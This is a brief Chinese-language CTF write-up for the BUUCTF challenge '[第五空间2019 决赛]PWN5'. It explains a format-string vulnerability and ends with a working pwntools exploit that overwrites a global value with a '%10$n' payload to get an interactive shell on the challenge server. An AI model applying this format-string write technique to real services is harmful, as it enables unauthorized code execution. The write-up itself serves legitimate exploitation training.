[BUUCTF-pwn]——[第五空间2019 决赛]PWN5

• 题目地址：https://buuoj.cn/challenges#[第五空间2019%20决赛]PWN5
• 题目：
  
  这是一道格式化字符串的题，给大家讲解下

checksec一下看看， 开启了canary保护， 基本开启这个保护都会用到格式化字符串的漏洞。

在IDA中


利用pwndbg看看, 偏移是多少。 0xa也就是 10

思路

利用格式化字符串漏洞, 修改unk_804C044的值, 并且输入相等的值

exploit

from pwn import *
p=remote('node3.buuoj.cn',26506)

unk_804C044_addr=0x0804C044

payload=p32(unk_804C044_addr)+'%10$n'
p.sendline(payload)

p.sendline('4')
p.interactive()